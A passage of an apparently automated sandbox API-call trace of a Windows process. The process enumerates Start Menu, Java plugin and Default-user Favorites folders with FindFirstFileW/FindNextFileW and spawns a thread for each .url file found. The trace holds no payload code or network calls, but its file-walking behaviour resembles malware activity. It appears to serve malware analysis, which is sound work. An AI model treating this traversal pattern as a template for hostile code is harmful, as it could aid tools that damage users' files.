(_String1="ShapeCollector.lnk", _String2=".") returned 1 [0051.011] wcscmp (_String1="ShapeCollector.lnk", _String2="..") returned 1 [0051.011] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8126b520, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8126b520, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.lnk", cAlternateFileName="")) returned 1 [0051.011] wcscmp (_String1="TabTip.lnk", _String2=".") returned 1 [0051.011] wcscmp (_String1="TabTip.lnk", _String2="..") returned 1 [0051.011] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0051.011] wcscmp (_String1="Windows Journal.lnk", _String2=".") returned 1 [0051.011] wcscmp (_String1="Windows Journal.lnk", _String2="..") returned 1 [0051.011] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0051.011] FindClose (in: hFindFile=0x440a60 | out: hFindFile=0x440a60) returned 1 [0051.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dab8) returned 1 [0051.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43d888) returned 1 [0051.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee018) returned 1 Thread: id = 678 os_tid = 0xc78 [0051.012] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c298 [0051.012] wcscpy (in: _Dest=0x45c298, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" [0051.012] wcscat (in: _Dest=0x45c298, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\" [0051.013] wcscat (in: _Dest=0x45c298, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*" [0051.013] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dab8 [0051.013] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*", lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440a60 [0051.013] wcscmp (_String1=".", _String2=".") returned 0 [0051.013] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.013] wcscmp (_String1="..", _String2=".") returned 1 [0051.013] wcscmp (_String1="..", _String2="..") returned 0 [0051.013] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d776877, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d776877, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0051.013] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0051.013] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0051.013] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell (x86).lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0051.013] wcscmp (_String1="Windows PowerShell (x86).lnk", _String2=".") returned 1 [0051.013] wcscmp (_String1="Windows PowerShell (x86).lnk", _String2="..") returned 1 [0051.013] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d79c9d7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE (x86).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0051.013] wcscmp (_String1="Windows PowerShell ISE (x86).lnk", _String2=".") returned 1 [0051.013] wcscmp (_String1="Windows PowerShell ISE (x86).lnk", _String2="..") returned 1 [0051.013] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d750717, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d750717, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d750717, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0051.013] wcscmp (_String1="Windows PowerShell ISE.lnk", _String2=".") returned 1 [0051.013] wcscmp (_String1="Windows PowerShell ISE.lnk", _String2="..") returned 1 [0051.013] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0051.013] wcscmp (_String1="Windows PowerShell.lnk", _String2=".") returned 1 [0051.013] wcscmp (_String1="Windows PowerShell.lnk", _String2="..") returned 1 [0051.013] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 0 [0051.014] FindClose (in: hFindFile=0x440a60 | out: hFindFile=0x440a60) returned 1 [0051.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dab8) returned 1 [0051.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c298) returned 1 [0051.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442c50) returned 1 Thread: id = 679 os_tid = 0xc7c [0051.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x48d180 [0051.015] wcscpy (in: _Dest=0x48d180, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" [0051.015] wcscat (in: _Dest=0x48d180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\" [0051.015] wcscat (in: _Dest=0x48d180, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*" [0051.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dab8 [0051.015] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409e0 [0051.262] wcscmp (_String1=".", _String2=".") returned 0 [0051.262] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.262] wcscmp (_String1="..", _String2=".") returned 1 [0051.262] wcscmp (_String1="..", _String2="..") returned 0 [0051.262] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0051.262] wcscmp (_String1="msvcr100.dll", _String2=".") returned 1 [0051.262] wcscmp (_String1="msvcr100.dll", _String2="..") returned 1 [0051.262] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x27fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0051.262] wcscmp (_String1="npjp2.dll", _String2=".") returned 1 [0051.262] wcscmp (_String1="npjp2.dll", _String2="..") returned 1 [0051.262] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x27fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0051.262] FindClose (in: hFindFile=0x4409e0 | out: hFindFile=0x4409e0) returned 1 [0051.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dab8) returned 1 [0051.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d180) returned 1 [0051.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d2b8) returned 1 Thread: id = 680 os_tid = 0x8dc [0051.016] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444c30 [0051.016] wcscpy (in: _Dest=0x444c30, _Source="C:\\Users\\Default\\Favorites\\Links" | out: _Dest="C:\\Users\\Default\\Favorites\\Links") returned="C:\\Users\\Default\\Favorites\\Links" [0051.016] wcscat (in: _Dest=0x444c30, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\") returned="C:\\Users\\Default\\Favorites\\Links\\" [0051.016] wcscat (in: _Dest=0x444c30, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\*") returned="C:\\Users\\Default\\Favorites\\Links\\*" [0051.016] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431478 [0051.016] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*", lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440a60 [0051.017] wcscmp (_String1=".", _String2=".") returned 0 [0051.017] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.017] wcscmp (_String1="..", _String2=".") returned 1 [0051.017] wcscmp (_String1="..", _String2="..") returned 0 [0051.017] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0051.017] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0051.017] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0051.017] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0051.017] wcscmp (_String1="Web Slice Gallery.url", _String2=".") returned 1 [0051.017] wcscmp (_String1="Web Slice Gallery.url", _String2="..") returned 1 [0051.017] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed53a0 [0051.017] wcscpy (in: _Dest=0x5ed53a0, _Source="C:\\Users\\Default\\Favorites\\Links" | out: _Dest="C:\\Users\\Default\\Favorites\\Links") returned="C:\\Users\\Default\\Favorites\\Links" [0051.017] wcscat (in: _Dest=0x5ed53a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\") returned="C:\\Users\\Default\\Favorites\\Links\\" [0051.017] wcscat (in: _Dest=0x5ed53a0, _Source="Web Slice Gallery.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url") returned="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" [0066.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed53a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0c [0066.081] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0066.081] FindClose (in: hFindFile=0x440a60 | out: hFindFile=0x440a60) returned 1 [0066.081] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431478) returned 1 [0066.081] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444c30) returned 1 [0066.081] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444fa0) returned 1 Thread: id = 681 os_tid = 0xbc0 [0051.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d250 [0051.018] wcscpy (in: _Dest=0x48d250, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0051.018] wcscat (in: _Dest=0x48d250, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0051.018] wcscat (in: _Dest=0x48d250, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*" [0051.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fa00 [0051.018] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409a0 [0051.492] wcscmp (_String1=".", _String2=".") returned 0 [0051.492] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.492] wcscmp (_String1="..", _String2=".") returned 1 [0051.492] wcscmp (_String1="..", _String2="..") returned 0 [0051.492] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0051.492] wcscmp (_String1="IE Add-on site.url", _String2=".") returned 1 [0051.492] wcscmp (_String1="IE Add-on site.url", _String2="..") returned 1 [0051.492] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417aa0 [0051.492] wcscpy (in: _Dest=0x417aa0, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0051.492] wcscat (in: _Dest=0x417aa0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0051.492] wcscat (in: _Dest=0x417aa0, _Source="IE Add-on site.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" [0066.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe3c [0066.074] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0066.074] wcscmp (_String1="IE site on Microsoft.com.url", _String2=".") returned 1 [0066.074] wcscmp (_String1="IE site on Microsoft.com.url", _String2="..") returned 1 [0066.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x5ec63a8 [0066.074] wcscpy (in: _Dest=0x5ec63a8, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0066.074] wcscat (in: _Dest=0x5ec63a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0066.074] wcscat (in: _Dest=0x5ec63a8, _Source="IE site on Microsoft.com.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" [0066.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec63a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c [0066.075] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0066.075] wcscmp (_String1="Microsoft At Home.url", _String2=".") returned 1 [0066.075] wcscmp (_String1="Microsoft At Home.url", _String2="..") returned 1 [0066.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417f20 [0066.075] wcscpy (in: _Dest=0x417f20, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0066.075] wcscat (in: _Dest=0x417f20, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0066.075] wcscat (in: _Dest=0x417f20, _Source="Microsoft At Home.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" [0066.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1048 [0066.077] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, 